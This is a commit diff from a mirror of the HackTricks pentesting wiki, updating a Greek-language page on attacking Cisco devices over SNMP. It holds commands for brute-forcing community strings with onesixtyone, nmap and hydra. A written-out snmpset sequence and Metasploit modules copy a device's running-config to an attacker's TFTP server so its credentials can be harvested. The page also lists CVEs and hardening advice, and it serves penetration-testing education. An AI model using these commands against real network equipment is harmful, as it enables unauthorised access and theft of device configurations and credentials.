mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.
This commit is contained in:
parent
5e8f612398
commit
8be1749f2c
@ -2,37 +2,94 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** λειτουργεί μέσω UDP με θύρες 161/UDP για γενικά μηνύματα και 162/UDP για trap μηνύματα. Αυτό το πρωτόκολλο βασίζεται σε community strings, που λειτουργούν ως κωδικοί πρόσβασης που επιτρέπουν την επικοινωνία μεταξύ SNMP agents και servers. Αυτές οι συμβολοσειρές είναι καθοριστικές καθώς προσδιορίζουν τα επίπεδα πρόσβασης, συγκεκριμένα **μόνο ανάγνωση (RO) ή ανάγνωση-εγγραφή (RW) δικαιώματα**. Ένας αξιοσημείωτος επιθετικός παράγοντας για τους pentesters είναι η **βίαιη παραβίαση των community strings**, με στόχο την εισβολή σε δικτυακές συσκευές.
|
||||
**SNMP** λειτουργεί μέσω UDP με θύρες **161/UDP** για γενικά μηνύματα και **162/UDP** για trap μηνύματα. Αυτό το πρωτόκολλο βασίζεται σε *community strings*, που λειτουργούν ως απλά "passwords" που επιτρέπουν την επικοινωνία μεταξύ SNMP agents και managers. Αυτές οι συμβολοσειρές καθορίζουν το επίπεδο πρόσβασης, συγκεκριμένα **μόνο ανάγνωση (RO) ή ανάγνωση-γραφή (RW) δικαιώματα**.
|
||||
|
||||
Ένα πρακτικό εργαλείο για την εκτέλεση τέτοιων επιθέσεων βίαιης παραβίασης είναι το [**onesixtyone**](https://github.com/trailofbits/onesixtyone), το οποίο απαιτεί μια λίστα πιθανών community strings και τις διευθύνσεις IP των στόχων:
|
||||
Ένας κλασικός—αλλά ακόμα εξαιρετικά αποτελεσματικός—άξονας επίθεσης είναι να **brute-force community strings** προκειμένου να αναβαθμιστεί από μη αυθεντικοποιημένο χρήστη σε διαχειριστή συσκευής (RW community). Ένα πρακτικό εργαλείο για αυτή την εργασία είναι [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
onesixtyone -c community_strings.txt -i targets.txt
|
||||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Το Metasploit framework διαθέτει το module `cisco_config_tftp`, διευκολύνοντας την εξαγωγή των ρυθμίσεων συσκευών, υπό την προϋπόθεση ότι έχει αποκτηθεί μια RW community string. Οι βασικές παράμετροι για αυτή τη λειτουργία περιλαμβάνουν:
|
||||
|
||||
- RW community string (**COMMUNITY**)
|
||||
- IP του επιτιθέμενου (**LHOST**)
|
||||
- IP της στοχευόμενης συσκευής (**RHOSTS**)
|
||||
- Διαδρομή προορισμού για τα αρχεία ρυθμίσεων (**OUTPUTDIR**)
|
||||
|
||||
Μετά τη ρύθμιση, αυτό το module επιτρέπει τη λήψη των ρυθμίσεων της συσκευής απευθείας σε έναν καθορισμένο φάκελο.
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
Ένα άλλο module του Metasploit, **`snmp_enum`**, ειδικεύεται στη συλλογή λεπτομερών πληροφοριών υλικού. Λειτουργεί με οποιονδήποτε τύπο community string και απαιτεί τη διεύθυνση IP του στόχου για επιτυχή εκτέλεση:
|
||||
Άλλες γρήγορες επιλογές είναι το Nmap NSE script `snmp-brute` ή το SNMP module του Hydra:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
|
||||
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
|
||||
```
|
||||
---
|
||||
|
||||
### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)
|
||||
Αν αποκτήσετε μια **RW κοινότητα**, μπορείτε να αντιγράψετε την τρέχουσα διαμόρφωση/διαμόρφωση εκκίνησης σε έναν διακομιστή TFTP/FTP *χωρίς πρόσβαση CLI* εκμεταλλευόμενοι το CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Δύο κοινές προσεγγίσεις είναι:
|
||||
|
||||
1. **Nmap NSE – `snmp-ios-config`**
|
||||
```bash
|
||||
nmap -sU -p161 --script snmp-ios-config \
|
||||
--script-args creds.snmp=private 192.168.66.1
|
||||
```
|
||||
Το σενάριο αυτοματοποιεί τη λειτουργία αντιγραφής και εκτυπώνει τη διαμόρφωση στο stdout.
|
||||
|
||||
2. **Χειροκίνητη ακολουθία `snmpset`**
|
||||
```bash
|
||||
# Copy running-config (4) to a TFTP server (1) – random row id 1234
|
||||
snmpset -v2c -c private 192.168.66.1 \
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
|
||||
```
|
||||
Οι αναγνωριστές γραμμών είναι *one-shot*; η επαναχρησιμοποίηση εντός πέντε λεπτών προκαλεί σφάλματα `inconsistentValue`.
|
||||
|
||||
Μόλις το αρχείο είναι στον διακομιστή TFTP σας, μπορείτε να ελέγξετε τα διαπιστευτήρια (`enable secret`, `username <user> secret`, κ.λπ.) ή ακόμη και να στείλετε μια τροποποιημένη ρύθμιση πίσω στη συσκευή.
|
||||
|
||||
---
|
||||
|
||||
### Metasploit goodies
|
||||
|
||||
* **`cisco_config_tftp`** – κατεβάζει το running-config/startup-config μέσω TFTP μετά την κατάχρηση του ίδιου MIB.
|
||||
* **`snmp_enum`** – συλλέγει πληροφορίες αποθέματος συσκευών, VLANs, περιγραφές διεπαφών, πίνακες ARP, κ.λπ.
|
||||
```bash
|
||||
use auxiliary/scanner/snmp/snmp_enum
|
||||
set RHOSTS 10.10.100.10
|
||||
set COMMUNITY public
|
||||
run
|
||||
```
|
||||
---
|
||||
|
||||
## Πρόσφατες ευπάθειες SNMP της Cisco (2023 – 2025)
|
||||
Η παρακολούθηση των συμβουλών των προμηθευτών είναι χρήσιμη για τον προσδιορισμό ευκαιριών *zero-day-to-n-day* μέσα σε μια εμπλοκή:
|
||||
|
||||
| Έτος | CVE | Επηρεαζόμενη δυνατότητα | Επιπτώσεις |
|
||||
|------|-----|-----------------|--------|
|
||||
| 2025 | CVE-2025-20174 | Υποσύστημα SNMP | Δημιουργημένο πακέτο οδηγεί σε αυθεντικοποιημένο *DoS* (επανεκκίνηση) σε IOS/IOS-XE (v1/v2c/v3). |
|
||||
| 2024 | CVE-2024-20373 | Διαχείριση ACL IPv4 | Λάθος ρυθμισμένες **εκτεταμένες** ACL αποτυγχάνουν σιωπηλά, επιτρέποντας μη αυθεντικοποιημένη SNMP polling όταν είναι γνωστή μια έγκυρη κοινότητα/χρήστης. |
|
||||
| 2025 | (χωρίς CVE ακόμα) | Παράκαμψη περιορισμού ρύθμισης SNMPv3 | Έγκυρος χρήστης v3 μπορεί να κάνει polling από διευθύνσεις που θα έπρεπε να απορρίπτονται. |
|
||||
|
||||
Η εκμεταλλευσιμότητα συχνά εξαρτάται από την κατοχή της κοινότητας ή των διαπιστευτηρίων v3—άλλος ένας λόγος για τον οποίο η βίαιη δοκιμή τους παραμένει σχετική.
|
||||
|
||||
---
|
||||
|
||||
## Συμβουλές Σκληροποίησης & Ανίχνευσης
|
||||
|
||||
* Αναβαθμίστε σε μια διορθωμένη έκδοση IOS/IOS-XE (δείτε τη συμβουλή της Cisco για το παραπάνω CVE).
|
||||
* Προτιμήστε **SNMPv3** με `authPriv` (SHA-256/AES-256) αντί για v1/v2c.
|
||||
```
|
||||
snmp-server group SECURE v3 priv
|
||||
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
|
||||
```
|
||||
* Δέστε το SNMP σε μια διαχείριση VRF και **περιορίστε με *τυπικές* αριθμημένες ACL IPv4** (οι εκτεταμένες ονομαστές ACL είναι επικίνδυνες – CVE-2024-20373).
|
||||
* Απενεργοποιήστε τις **RW κοινότητες**; αν απαιτείται λειτουργικά, περιορίστε τις με ACL και προβολές:
|
||||
`snmp-server community <string> RW 99 view SysView`
|
||||
* Παρακολουθήστε για:
|
||||
- Κορυφές UDP/161 ή απροσδόκητες πηγές (κανόνες SIEM).
|
||||
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` γεγονότα που υποδεικνύουν αλλαγές διαμόρφωσης εκτός ζώνης.
|
||||
* Ενεργοποιήστε **SNMPv3 logging** και `snmp-server packetsize 1500` για να μειώσετε ορισμένα vectors DoS.
|
||||
|
||||
---
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
- Cisco: *Πώς να Αντιγράψετε Διαμορφώσεις Από και Προς Συσκευές Cisco Χρησιμοποιώντας SNMP*
|
||||
- Cisco Security Advisory *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user